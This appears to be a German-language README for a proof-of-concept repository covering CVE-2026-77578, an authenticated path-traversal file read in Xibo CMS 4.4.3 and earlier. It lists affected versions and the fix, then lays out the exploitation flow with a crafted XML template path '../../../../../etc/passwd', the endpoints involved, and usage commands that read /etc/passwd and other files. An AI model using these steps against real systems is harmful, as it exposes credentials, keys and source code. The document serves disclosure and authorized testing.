CVE-2026-77578 — Xibo CMS Beliebiges lokales Dateilesen

Übersicht

CVE-2026-77578 ist eine authentifizierte Schwachstelle zum beliebigen lokalen Dateilesen in Xibo CMS.

Ein authentifizierter Benutzer mit Admin-Rechten oder Zugriff auf Modulvorlagen kann eine präparierte XML-Vorlage importieren, die ein pfadbasiertes Asset mit einer Traversal-Sequenz enthält. Auf das resultierende Asset kann anschließend über den Modul-Asset-Endpunkt zugegriffen werden, wodurch Xibo den Inhalt der referenzierten lokalen Datei zurückgibt.

Betroffene und gepatchte Versionen

• Betroffen: Xibo CMS <= 4.4.3
• Gepatcht: Xibo CMS >= 4.4.4
• Empfohlene Behebung: Aktualisierung auf Xibo CMS 4.4.4 oder höher.

Schwachstellendetails

• CVE: CVE-2026-77578
• GHSA: GHSA-pc3g-2hhm-46qc
• Schwachstellentyp: CWE-22 — Path Traversal
• Authentifizierung: Erforderlich
• Erforderliches Privileg: Zugriff auf die Funktion „Developer Template"
• Schweregrad: Hoch
• CVSS v3.1: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
• Auswirkung: Lesen von Dateien, auf die der Webserver-Benutzer zugreifen kann

Proof of Concept

Offizieller Xibo-Hinweis

Xibo veröffentlichte die Schwachstelle als GHSA-pc3g-2hhm-46qc und bestätigte, dass die Versionen <= 4.4.3 betroffen und >= 4.4.4 gepatcht sind. Der Hinweis stuft die Schwachstelle als Hoch mit einem CVSS v3.1-Score von 8.8 ein und identifiziert CVE-2026-77578.

Das bereitgestellte Python-PoC automatisiert den Ausnutzungsprozess:

1. Authentifiziert sich bei Xibo CMS.
2. Ruft das CSRF-Token von der Seite „Module Templates" ab.
3. Generiert eine eindeutige Asset-Kennung.
4. Lädt eine präparierte XML-Vorlage über /developer/template/import hoch.
5. Die XML enthält ein pfadbasiertes Asset mit einer relativen Path-Traversal-Sequenz.
6. Fordert das resultierende Asset über /module/asset/<asset-id> an.
7. Zeigt den Inhalt der angeforderten lokalen Datei an.

Verwendung

python3 poc.py <URL> -u <USERNAME> -p <PASSWORD> -f <FILE>

Beispiel:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/passwd

Ein weiteres Beispiel:

python3 poc.py http://localhost \
    -u xibo_admin \
    -p password \
    -f /etc/os-release

Die Option -f verwendet standardmäßig /etc/passwd.

Beispielausgabe

Das Folgende demonstriert das erfolgreiche Abrufen von /etc/passwd:

==============================================
 FILE CONTENT
==============================================

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Technischer Ablauf

Authenticated User
        |
        v
GET /developer/template/view
        |
        v
Extract X-XSRF-TOKEN
        |
        v
POST /developer/template/import
        |
        |  Crafted XML
        |  path="../../../../../etc/passwd"
        v
Xibo creates the asset
        |
        v
GET /module/asset/<asset-id>
        |
        v
Contents of local file returned

Validierung

Die Schwachstelle wurde erfolgreich gegen mehrere Dateien in einer lokalen Xibo CMS 4.4.3-Testumgebung validiert, darunter:

• /etc/passwd
• /etc/hosts
• /etc/os-release
• /var/www/cms/web/index.php

Der Test mit der PHP-Quelldatei zeigt, dass das Problem in der Lage ist, Anwendungsquellcode zurückzugeben, nicht nur Systemmetadaten.

Auswirkung

Eine erfolgreiche Ausnutzung ermöglicht es einem authentifizierten Angreifer mit den erforderlichen Modulvorlagen-Privilegien, beliebige Dateien zu lesen, auf die der Xibo-Anwendungsprozess zugreifen kann.

Je nach Bereitstellung kann dies Folgendes offenlegen:

• Anwendungsquellcode
• Konfigurationsdateien
• Anmeldedaten
• API-Schlüssel
• Datenbankverbindungsinformationen
• Andere sensible Dateisystemdaten

Haftungsausschluss

Dieses Proof of Concept wird ausschließlich für autorisierte Sicherheitsforschung und defensives Testen bereitgestellt.

Testen Sie nur Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung zur Bewertung haben.

Repository-Struktur

CVE-2026-77578/
├── poc.py
├── README.md
├── LICENSE
├── .gitignore
└── screenshots/
    └── poc-output.png